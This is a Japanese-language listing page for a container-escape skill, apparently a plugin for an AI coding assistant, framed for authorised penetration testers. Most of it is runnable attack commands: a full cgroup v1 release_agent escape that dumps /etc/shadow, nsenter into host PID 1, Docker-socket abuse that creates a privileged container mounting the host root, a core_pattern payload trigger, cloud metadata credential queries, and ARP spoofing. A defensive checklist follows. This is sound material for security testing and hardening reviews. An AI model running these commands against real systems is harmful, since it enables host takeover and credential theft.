mcpField
E
escaping-hardened-containers

escaping-hardened-containers

github.com/trilwuセキュリティ17748 回インストール12 週間前に更新
リポジトリ

escaping-hardened-containers について

ハードニングされたコンテナの脱出経路を評価するセキュリティテストスキルです。許可を得たテスター向けに、ケイパビリティ、seccomp、名前空間、ファイルシステム、ランタイム、サンドボックスの確認と防御レビュー項目をまとめています。

主な機能

  1. 01ケイパビリティと seccomp の分析
  2. 02名前空間と cgroup の脱出経路
  3. 03マウント済みソケットとファイルシステムの確認
  4. 04ランタイム CVE とサンドボックスの評価
  5. 05防御的なハードニングチェックリスト

活用シーン

  1. 01許可されたテストでのハードニング済みコンテナ評価
  2. 02ケイパビリティ設定と seccomp の不備確認
  3. 03コンテナランタイムとサンドボックスのリスク確認

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/trilwu/secskills --skill escaping-hardened-containers

インストール後、Claude Code で/escaping-hardened-containersを入力して読み込まれたか確認します。

詳細

強化されたコンテナからのエスケープ

オンラインで紹介されているコンテナエスケープの多くは、--privileged を前提としています。コンテナが強化されている場合にこそ、作業が始まります。seccomp が有効で、ケイパビリティが削除され、明白な経路が塞がれている状態です。残された攻撃対象領域は小さくなりますが、ゼロではありません。単一のケイパビリティやファイルシステムのマウントだけで十分な場合もよくあります。

許可を得てテストするシステムに限ります。

使用する場面

  • コンテナが特権モードではないものの、興味深いケイパビリティ(CAP_SYS_ADMIN、CAP_SYS_PTRACE、CAP_DAC_READ_SEARCH、CAP_NET_RAW)が1つ以上残っている
  • seccomp プロファイルが有効で、一般的なエスケープ用システムコールをブロックしているため、まだ許可されているものを把握する必要がある
  • AppArmor または SELinux による強制が有効で、プロファイルの抜け穴を特定する必要がある
  • 対象が gVisor(runsc)または Kata Containers 上で動作しており、サンドボックス固有の手法が必要である
  • hostPath マウント、ホスト PID 名前空間、またはマウントされたソケットを特定しているが、コンテナはそれ以外の点でロックダウンされている
  • 強化されているにもかかわらず、ランタイムの CVE(runc、containerd、CRI-O)が該当する可能性がある

使用しない場面

  • 一般的な特権コンテナからのエスケープと基本的な Kubernetes の悪用 — exploiting-containers を使用してください
  • マネージド Kubernetes クラスターの攻撃(EKS、GKE、AKS) — attacking-eks-gke-aks を使用してください
  • エスケープ後のホストレベルの権限昇格 — escalating-linux-privileges を使用してください

ケイパビリティの列挙

最初に確認するのはケイパビリティです。残された単一のケイパビリティだけで、エスケープ全体が可能になることがあります。

# Full capability dump
capsh --print

# From procfs when capsh is not installed
grep Cap /proc/self/status
# Decode the hex bitmask
capsh --decode=$(grep CapEff /proc/self/status | awk '{print $2}')

# Quick check for the capabilities that matter most
# CAP_SYS_ADMIN  - mount, unshare, bpf, cgroup writes
# CAP_SYS_PTRACE - attach to host-namespace processes (with hostPID)
# CAP_DAC_READ_SEARCH - open_by_handle_at, read any file
# CAP_NET_RAW    - raw sockets, ARP spoofing, network pivoting
# CAP_SYS_MODULE - load kernel modules (rare but instant root)
# CAP_SYS_RAWIO  - iopl/ioperm, raw disk I/O

CAP_DAC_READ_SEARCH — 見落とされがちなケイパビリティです。 open_by_handle_at() を許可し、マウント名前空間の分離を完全に迂回します。shocker エクスプロイトはこれを使い、inode ハンドルを総当たりすることでホストのファイルシステムから任意のファイルを読み取ります。

# shocker PoC: reads /etc/shadow from the host
# Requires: CAP_DAC_READ_SEARCH
./shocker /etc/shadow

Seccomp プロファイルの分析

# Check if seccomp is enforced (2 = filter mode, 1 = strict, 0 = disabled)
grep Seccomp /proc/self/status

# Dump the active filter (requires kernel 4.4+ and CONFIG_SECCOMP_FILTER)
cat /proc/self/seccomp_filter 2>/dev/null

# Use seccomp-tools to decompile the BPF filter
seccomp-tools dump /proc/self/seccomp_filter

Docker のデフォルト seccomp プロファイルは、約44個のシステムコールをブロックします。主なブロック対象には、mount、unshare、pivot_root、reboot、kexec_load、init_module などがあります。一方、ptrace、process_vm_readv、ほとんどのソケット操作は許可されています。

カスタムプロファイルには、よく設定ミスがあります。 よくある抜け穴は次のとおりです。

  • unshare の許可 — CAP_SYS_ADMIN を使った新しい名前空間の作成が可能になります
  • mount の許可 — ファイルシステムのオーバーレイ攻撃が可能になります
  • bpf の許可 — eBPF プログラムによってカーネルメモリを読み取れます
  • userfaultfd の許可 — 競合状態を悪用するプリミティブになります
  • keyctl の許可 — カーネルのキーリングにアクセスでき、そこに秘密情報が含まれている場合があります
# Test whether a specific syscall is available
# If blocked, the process gets SIGKILL or EPERM
python3 -c "import ctypes; ctypes.CDLL(None).syscall(272)"  # unshare = 272

名前空間からのエスケープ

CAP_SYS_ADMIN + unshare

CAP_SYS_ADMIN があり、seccomp によって unshare がブロックされていない場合、新しいユーザー名前空間とマウント名前空間を作成して、ホストのファイルシステムにアクセスできます。

# Create new mount namespace and mount the host block device
unshare -m /bin/sh -c 'mount /dev/sda1 /mnt && ls /mnt'
hostPID + CAP_SYS_PTRACE

ポッドの仕様で hostPID: true が設定されていると、/proc にホストのプロセスが表示されます。CAP_SYS_PTRACE と組み合わせることで、ホストのプロセスにコードを注入できます。

# Find a root process on the host
ps auxf | head -20

# Attach and inject
nsenter --target 1 --mount --uts --ipc --net --pid -- /bin/bash

# Or via /proc/1/root -- the host root filesystem
ls -la /proc/1/root/etc/shadow
cat /proc/1/root/etc/shadow
CAP_SYS_PTRACE のない hostPID

ptrace がなくても、hostPID によってホストプロセスの環境変数とコマンドラインが漏えいし、そこに秘密情報が含まれていることもよくあります。

cat /proc/1/environ | tr '\0' '\n'
for p in /proc/[0-9]*/cmdline; do cat "$p" | tr '\0' ' '; echo; done 2>/dev/null | grep -i pass

Cgroup からのエスケープ

Cgroup v1 の release_agent

cgroup v1 の使用時に CAP_SYS_ADMIN を持つコンテナをエスケープする、従来からある手法です。cgroup 内の最後のプロセスが終了すると、release_agent がホスト上で実行されます。

# Find a writable cgroup mount
mount | grep cgroup

# Full escape sequence
d=$(dirname $(ls -x /s*/fs/c*/*/r* | head -n1))
mkdir -p $d/w
echo 1 > $d/w/notify_on_release
t=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$t/cmd" > $d/release_agent
echo "#!/bin/sh" > /cmd
echo "cat /etc/shadow > $t/output" >> /cmd
chmod +x /cmd
sh -c "echo 0 > $d/w/cgroup.procs"
sleep 1
cat /output
Cgroup v2 とデバイスコントローラー

Cgroup v2 では release_agent が削除されています。残された攻撃対象領域は、eBPF ベースのデバイスポリシー(bpf() が必要です)と、書き込み可能なデバイスコントローラーです。

# If devices cgroup controller is writable
echo 'a *:* rwm' > /sys/fs/cgroup/devices/docker/<id>/devices.allow
mknod /dev/sda b 8 0
mount /dev/sda /mnt

ファイルシステムを利用したエスケープ

マウントされた Docker ソケット
# The most common misconfiguration even in "hardened" containers
ls -la /var/run/docker.sock /run/docker.sock 2>/dev/null

# Without the docker CLI, use curl over the unix socket
curl -s --unix-socket /var/run/docker.sock http://localhost/containers/json | python3 -m json.tool

# Create a privileged container that mounts the host root
curl -s --unix-socket /var/run/docker.sock -X POST \
  -H "Content-Type: application/json" \
  -d '{"Image":"alpine","Cmd":["/bin/sh"],"Binds":["/:/host"],"Privileged":true}' \
  http://localhost/containers/create
ホストのファイルシステムのマウント

hostPath マウントは、どれもエスケープ経路になる可能性があります。よくあるものは次のとおりです。

# Check all mount points
mount | grep -vE 'proc|sys|cgroup|tmpfs'
cat /proc/self/mountinfo

# Writable host paths to look for:
# /var/log         - write cron jobs via log injection
# /var/run         - sockets (docker, containerd)
# /etc             - write to crontab, shadow, authorized_keys
# /var/lib/kubelet - kubelet credentials and config
# /home            - SSH keys, shell configs
/proc/sys/kernel/core_pattern

/proc/sys が書き込み可能な状態でマウントされている場合(またはホストマウントに含まれている場合):

# core_pattern with pipe: kernel runs the specified program when a process
# crashes, as root on the host
echo '|/path/on/host/payload.sh' > /proc/sys/kernel/core_pattern
# Then crash a process to trigger it
/proc/sysrq-trigger

書き込み可能な場合、カーネル関数が実行されます(主に DoS につながります)。echo b は再起動し、echo c はメモリダンプのためにクラッシュさせます。

ランタイム固有の脆弱性

runc CVE

CVE-2024-21626(Leaky Vessels) -- runc のファイルディスクリプター漏えいにより、コンテナーの起動中に /proc/self/fd/ 経由でコンテナーからホストのファイルシステムにアクセスできます。runc < 1.1.12 が影響を受けます。

# Detection: check runc version
runc --version 2>/dev/null
# On the host: runc is typically at /usr/bin/runc or /usr/sbin/runc

このエクスプロイトでは、ホストのファイルシステムを指す漏えいした fd に、コンテナーの作業ディレクトリを設定します。コンテナーイメージをビルドする、またはコンテナーイメージに影響を与える権限が必要です。

CVE-2019-5736 -- runc がコンテナーの名前空間に参加するときに /proc/self/exe を悪用して、ホストの runc バイナリを上書きします。コンテナー内での exec(例:docker exec)が必要です。

containerd / CRI-O

CVE-2022-23648(containerd) -- ホストパスを参照するイメージ設定の VOLUME ディレクティブを介して、任意のホストファイルを読み取ります。

CVE-2022-0811(CRI-O、cr8escape) -- --infra-ctr-cpuset を介したカーネルパラメーターのインジェクションにより、ホスト上でコードを実行します。ランタイムのバージョンを確認してください:crictl version 2>/dev/null。

サンドボックスのバイパス

gVisor(runsc)

gVisor は、コンテナーとホストカーネルの間にユーザー空間カーネル(Sentry)を介在させます。攻撃対象領域は異なります。

  • Sentry は Linux システムコールの一部を実装しています。サポートされていないシステムコールは失敗しますが、サポートされているものには実装上のバグが存在する可能性があります。
  • カーネルと直接やり取りしないため、従来のカーネルエクスプロイトは機能しません。
  • ファイル操作は Gofer プロセスを経由します。このプロセスのホストへのアクセスは制限されています。
  • Sentry のバグ、Sentry の TCP/IP スタックにおけるネットワーク経由で攻撃可能な脆弱性、Gofer プロセスへの脱出に注目してください。
# Detect gVisor
dmesg 2>/dev/null | head -5  # gVisor has distinctive boot messages
uname -r  # gVisor reports its own version string
cat /proc/version  # look for "gVisor" or "runsc"
Kata Containers

Kata は各コンテナーを軽量 VM 内で実行します。脅威モデルは根本的に異なります。

  • コンテナーからホストへの脱出には、VM エスケープ(QEMU/Cloud Hypervisor の脆弱性)が必要です。
  • 攻撃対象領域は、ハイパーバイザー、virtio デバイス、VM 内の Kata エージェントです。
  • ゲストからホストへのファイル共有(virtio-fs/9pfs)が、最も弱点になりやすい箇所です。
  • ホストのネットワーク名前空間を共有するよう設定されている場合、ホストのネットワークが露出します。

コンテナーからホストへのネットワーク攻撃

ホストのネットワーク名前空間

hostNetwork: true を設定すると、コンテナーはホストのネットワークスタックを完全に共有します。

ip addr   # host interfaces, not veth pairs
ss -tlnp  # host listening services -- look for kubelet (10250), etcd (2379)
メタデータサービスへのアクセス

クラウドのメタデータエンドポイント(169.254.169.254)は、コンテナーのハードニングとは関係なく到達可能です。ネットワークポリシーだけが緩和策となります。

curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/          # AWS
curl -s -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/    # GCP
curl -s -H "Metadata: true" "http://169.254.169.254/metadata/instance?api-version=2021-02-01"  # Azure
CAP_NET_RAW による ARP スプーフィング

CAP_NET_RAW があれば、ARP スプーフィングによって Pod 間、または Pod とゲートウェイ間のトラフィックを傍受できます:arpspoof -i eth0 -t <target_ip> <gateway_ip>。

防御レビューのチェックリスト

ハードニングされたコンテナーのデプロイをレビューする際は、次の点を確認してください。

  1. ケイパビリティ -- 最小限のセットのみが付与されていること。CAP_SYS_ADMIN、CAP_SYS_PTRACE、CAP_DAC_READ_SEARCH が含まれていないこと
  2. Seccomp -- カスタムプロファイルが適用されていること(Docker のデフォルトだけではないこと)。unshare、mount、bpf、userfaultfd がブロックされていること
  3. LSM -- AppArmor または SELinux のプロファイルが読み込まれ、強制モードになっていること(存在するだけではないこと)
  4. 名前空間 -- hostPID、hostNetwork、hostIPC がすべて false であること
  5. ファイルシステム -- hostPath マウントがないこと。Docker ソケットがマウントされていないこと。/proc/sys が読み取り専用であること
  6. ランタイム -- runc、containerd、CRI-O に既知の CVE の修正が適用されていること
  7. ネットワーク -- NetworkPolicy によりメタデータサービス(169.254.169.254)へのアクセスが拒否されていること。Pod 間トラフィックが分離されていること
  8. ルートファイルシステムの読み取り専用化 -- readOnlyRootFilesystem: true が設定されていること。書き込み可能なパスが noexec 付きの tmpfs であること

却下すべき合理化

  • 「すべてのケイパビリティを削除しました」 設定ではなく、実効的な設定を確認してください。Kubernetes はデフォルトで一部のケイパビリティを再び追加し、初期化コンテナーやサイドカーはメインコンテナーと異なる場合があります。
  • 「Seccomp は有効です」 Docker のデフォルトプロファイルでは、ptrace、ほとんどのソケット操作、process_vm_readv が引き続き許可されています。アプリケーションに合わせて調整したカスタムプロファイルが必要です。
  • 「gVisor を実行しているので、コンテナーエスケープは関係ありません」 gVisor はカーネルの攻撃対象領域を縮小しますが、Sentry のバグ、Gofer のエスケープ、エッジケースでフェイルオープンする可能性がある不完全なシステムコール範囲など、独自のリスクももたらします。
  • 「hostPath マウントはありません」 マウントされたシークレットのディレクトリ、過剰な権限を持つサービスアカウントトークン、異なる権限レベルのコンテナー間で共有される emptyDir ボリュームを確認してください。
  • 「ランタイムにはパッチを適用済みです」 パッチの適用状況は、ある時点での状態にすぎません。CVE-2024-21626 は開示されるまで何年もの間 runc に影響していました。正確なバージョンを確認し、「常に最新の状態にしています」という言葉を鵜呑みにしないでください。
  • 「AppArmor は強制モードです」 実際のプロファイルを確認してください。多くのデプロイでは runtime/default または unconfined が使用されています。存在していても、mount、ptrace、生のネットワークアクセスを許可するプロファイルは、実質的に何も強制していません。
  • 「コンテナーにあるのは CAP_NET_RAW だけなので、無害です」 CAP_NET_RAW によって、ARP スプーフィング、ポッド間の DNS ポイズニング、メタデータサービスへの生ソケットアクセスが可能になります。無害ではありません。

ATT&CK の対象範囲

secskills-core/ttp-index.json から生成されています。このファイルを編集してから、 python3 scripts/sync_attack.py --write を実行してください。レポートで引用する前に、 現在の ATT&CK リリースに照らして ID を再確認してください。

権限昇格(TA0004)

  • T1611 ホストへのエスケープ — exploiting-containers も参照してください

これらに関する検知コンテンツ:engineering-detections。プロアクティブな検索:hunting-threats。侵害後の対応:responding-to-incidents。

参考資料

  • exploiting-containers -- コンテナーエスケープおよび Kubernetes の悪用に関する基本的な手法
  • attacking-eks-gke-aks -- マネージド Kubernetes クラスターを対象とする攻撃
  • escalating-linux-privileges -- エスケープ後のホストレベルでの権限昇格
  • engineering-detections -- コンテナーエスケープの兆候を検知するルールの作成

コメント